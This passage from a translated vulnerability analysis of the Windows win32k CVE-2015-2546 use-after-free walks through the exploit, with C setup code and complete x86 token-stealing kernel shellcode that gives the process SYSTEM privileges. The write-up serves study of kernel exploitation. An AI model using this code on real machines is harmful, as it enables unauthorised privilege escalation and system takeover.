for (UINT i = 0; i < iWindowCount; ++i)
{
SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}
Exploitation code sets menu name for each common window object
Since field MENUNAME
belongs to zero terminated WCHAR
string format, it is necessary to set the whole buffer without zero in two continuous bytes. When setting field MENUNAME
for target window objects by calling SetClassLong
, the system ultimately allocates and sets UNICODE
string buffer for field lpszMenuName
of the window class tagCLS
objects belonged to by the window objects in the kernel.
Since both the buffer pointed to by field lpszMenuName
and the buffer of popup menu tagPOPUPMENU
object are process quota memory blocks, the sizes of their extra memories are the same. It is just needed to make the length of MENUNAME
buffers set for each window object the same as the size of tagPOPUPMENU
then in normal conditions there will be always a window class object whose MENUNAME
buffer would be allocated in the memory area of the previously freed root popup menu object to be the fake popup menu tagPOPUPMENU
object.
In this way, since each field of the popup menu object that occupies the original positon is filled with meaningless number like 0xdddddddd
, a BSOD of system would occur when function xxxMNHideNextHierarchy
accesses the fields. The next step is to construct fake submenu window object and to make field spwndPrevPopup
of occupied target popup menu object point to the address of fake object.
kd> dc ebx
fd602df0 dddddddd dddddddd dddddddd dddddddd ................
fd602e00 dddddddd dddddddd dddddddd dddddddd ................
fd602e10 dddddddd dddddddd dddddddd dddddddd ................
fd602e20 00000000 85dde030 00070008 69707355 ....0.......Uspi
fd602e30 ff4e22c8 92662f70 0084d032 00000000 ."N.p/f.2.......
fd602e40 0023a8e4 00000000 00020910 000c0fc0 ..#.............
fd602e50 00000460 00000000 00000004 00000000 `...............
fd602e60 46340007 64667454 8779d438 87c5d970 ..4FTtfd8.y.p...
Data of each field of occupied popup menu object
Preparation of Kernel Exploitation
At the beginning of exploitation code, structure SHELLCODE
is defined to hold the PID of current process and the offset of each critical field of kernel objects, the feedback variable of kernel exploitation, as well as the entry point of ShellCode function.
typedef struct _SHELLCODE {
DWORD reserved;
DWORD pid;
DWORD off_THREADINFO_ppi;
DWORD off_EPROCESS_ActiveLink;
DWORD off_EPROCESS_Token;
BOOL bExploited;
BYTE pfnWindProc[];
} SHELLCODE, *PSHELLCODE;
Exploitation code defines SHELLCODE structure
Allocate a whole page size RWX
memory block as a SHELLCODE
object in user process at the beginning of exploitation code and initialize the fields, then copy the function code of Shellcode to the memory based from the address of field pfnWindProc
.
Then a 0xb0
size block is partitioned from the back segment of the memory block to be the fake submenu window tagWND
object, with a set member flag bit bServerSideWindowProc
(determining whether message procedure is executed in the kernel context) as well as a message procedure field pointing to the base address of ShellCode function of SHELLCODE
object. The subsequent actual kernel exploitation will be done in the kernel context through the ShellCode function here.
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
ZeroMemory(pvShellCode, 0x1000);
ptagWNDFake = (PDWORD)((PBYTE)pvShellCode + 0xf00);
ptagWNDFake[0x05] = (DWORD)0x40000; //->state[bServerSideWindowProc]
ptagWNDFake[0x12] = (DWORD)pvShellCode->pfnWindProc; //->lpfnWndProc
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName = 0x050;
pvShellCode->off_THREADINFO_ppi = 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token = 0x0f8;
for (UINT i = 0; ; i++)
{
if (*(DWORD *)&((PBYTE)xxPayloadWindProc)[i] == 0xcccccccc)
{
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, i);
break;
}
}
Exploitation code allocates and initialize SHELLCODE object
In the custom hook procedure of exploitation code, modify the assignment of field spwndNextPopup
and spwndActivePopup
to the address of menu window object ptagWNDFake
faked just now.
dwPopupFake[0x3] = (DWORD)ptagWNDFake; //->spwndNextPopup
[...]
dwPopupFake[0x7] = (DWORD)ptagWNDFake; //->spwndActivePopup
Update the assignment of some fields of occupied popup menu object
Since there is a judgement of thread information object pointed to by target window object in function xxxSendMessageTimeout
, the exploitation code needs to assign field pti
of fake menu window object to the address of current thread information object, which can be done according to HMValidateHandle
kernel object address leak technique and any previously created window objects. Field pti
would be the clue to locate the EPROCESS
linked list in the function code of kernel exploitation as well.
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hwndFakeMenu);
((PTHRDESKHEAD)ptagWNDFake)->pti = head->pti;
Assignment of field pti of fake menu window object
Function Code of Kernel Exploitation
The ShellCode function code used to implement the kernel exploiation will be executed in the kernel context as the kernel-mode message procedure of the fake submenu window object. The execution of the function is triggered by sending 0x1E5
message to target submenu window object in function xxxMNHideNextHierarchy
.
At the beginning of ShellCode function, we judge whether the incoming message parameter is 0x1E5
, just return if not.
push ebp;
mov ebp, esp;
mov eax, dword ptr[ebp + 0Ch];
cmp eax, 01E5h;
jne LocRETURN;
In 32-bit Windows operating system, code segment register CS
always holds 0x1B
. According to this feature, we judge whether the current execution context is in user-mode in ShellCode function, if so just return.
mov ax, cs;
cmp ax, 1Bh;
je LocRETURN;
Backup of all the general registers to the stack is needed at present, which followed by retrieving the value of register EIP
by CALL-POP
technique and calculating the base address of the structure SHELLCODE
stored in front of the code of ShellCode function according to the relative offset:
cld;
pushad;
call $+5;
pop edx;
sub edx, 35h;
The next step is to retrieve the pointer to thread information tagTHREADINFO
object from the head structure of carrier window object, and to get the pointer to process information tagPROCESSINFO
object stored in thread information object. Then we get the pointer of EPROCESS
object of the corresponding process from process information object. The offsets of each field are held by SHELLCODE
object.
LocGetEPROCESS:
mov ecx, dword ptr[ebp + 8];
mov ecx, dword ptr[ecx + 8];
mov ebx, dword ptr[edx + 08h];
mov ecx, dword ptr[ebx + ecx];
mov ecx, dword ptr[ecx];
mov ebx, dword ptr[edx + 0Ch];
mov eax, dword ptr[edx + 4];
Then find the address of EPROCESS
object according to field ActiveProcessLinks
and field UniqueProcessId
of EPROCESS
object. Since field UniqueProcessId
is just followed by field ActiveProcessLinks
, we can locate each UniqueProcessId
field through the offset of ActiveProcessLinks
held by SHELLCODE
object.
push ecx;
LocForCurrentPROCESS:
cmp dword ptr[ebx + ecx - 4], eax;
je LocFoundCURRENT;
mov ecx, dword ptr[ebx + ecx];
sub ecx, ebx;
jmp LocForCurrentPROCESS;
LocFoundCURRENT:
mov edi,ecx;
pop ecx;
The next step is to continue traversing the linked list of EPROCESS
objects to find the EPROCESS
object of system process.
LocForSystemPROCESS:
cmp dword ptr[ebx + ecx - 4], 4;
je LocFoundSYSTEM;
mov ecx, dword ptr[ebx + ecx];
sub ecx, ebx;
jmp LocForSystemPROCESS;
LocFoundSYSTEM:
mov esi, ecx;
It means that both the EPROCESS
objects of current process and system process are located when executing here, then the value of field Token
of current process would be replaced by the one of system process.
mov eax, dword ptr[edx + 10h];
add esi, eax;
add edi, eax;
lods dword ptr[esi];
stos dword ptr es : [edi];
At this moment while the current process has already owned and pointed to the Token
object of system process, the reference count of target Token
object needs a manual correction because of the extra added reference. Most of kernel objects use a structure OBJECT_HEADER
as their header structures in NT executive:
kd> dt nt!_OBJECT_HEADER
+0x000 PointerCount : Int4B
+0x004 HandleCount : Int4B
[...]
+0x014 SecurityDescriptor : Ptr32 Void
+0x018 Body : _QUAD
This structure is followed by the associated kernel object, which holds the kernel object from the address of its field Body
. Manual increment of reference needs to modify field PointerCount
.
and eax, 0FFFFFFF8h;
add dword ptr[eax - 18h], 2;
Most of work is done. Set filed bExploited
of SHELLCODE
object to feedback the user process that the exploitation is successful. Restore the values of general registers backed up previously to the registers.
mov dword ptr[edx + 14h], 1;
popad;
xor eax, eax;
LocRETURN:
leave;
ret 10h;
Place five int 3
instructions at the end of the function, so that the exploitation code can locate the end of the function when copying the function code.
Success of Privilege Elevation
In the custom event notification procedure xxWindowEventProc
, following the calling statement of SendMessage
to send WM_MOUSEMOVE
message, the judgement of the kernel exploatation feedback field bExploited
of SHELLCODE
object is added:
if (pvShellCode->bExploited)
{
bDoneExploit = TRUE;
}
Custom event notification procedure judges feedback variable
If the varibale has been set, the function just assigns the glbal variable bDoneExploit
to TRUE
. Global variable bDoneExploit
is listened to be assigned by the main thread; if so, the main thread would create a new command prompt process.
Newly created process belongs to System identity
It can be observed that the newly created command prompt process has belonged to System user identity.
Postscript
Both this vulnerability and CVE-2017-0263 are use-after-free (UAF) of tagPOPUPMENU
object, while the difference is just the time to exploit: the triggering condition of CVE-2017-0263 would be satisfied just after the kernel function freeing target popup menu object, but CVE-2015-2546 in this analysis needs the user process to initiatively trigger the logic to free the target popup menu object. Generally speaking, the exploitation of this vulnerability is much easier than the case of CVE-2017-0263, and the exploitation code of CVE-2017-0263 can be used for this vulnerability almost without modification. There is no kernel object that needs to be fixed here as well.
0x5 Links
Translated from my Chinese article: https://xiaodaozhi.com/exploit/122.html
[0] The proof of concept of this analysis
https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2015-2546/x86.cpp
[1] FROM ANALYZING CVE-2017-0263 TO INVESTIGATING MENU MANAGEMENT COMPONENT
https://xiaodaozhi.com/exploit/117.html
[2] Kernel Attacks through User-Mode Callbacks
http://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf
[3] sam-b/windows_kernel_address_leaks
https://github.com/sam-b/windows_kernel_address_leaks
[4] Two for One: Microsoft Office Encapsulated PostScript and Windows Privilege Escalation Zero-Days
https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf
[5] CVE-2015-2546:从补丁比对到Exploit
[6] WM_MOUSEMOVE message
https://msdn.microsoft.com/en-us/library/ms645616(VS.85).aspx
- THE END -
没有评论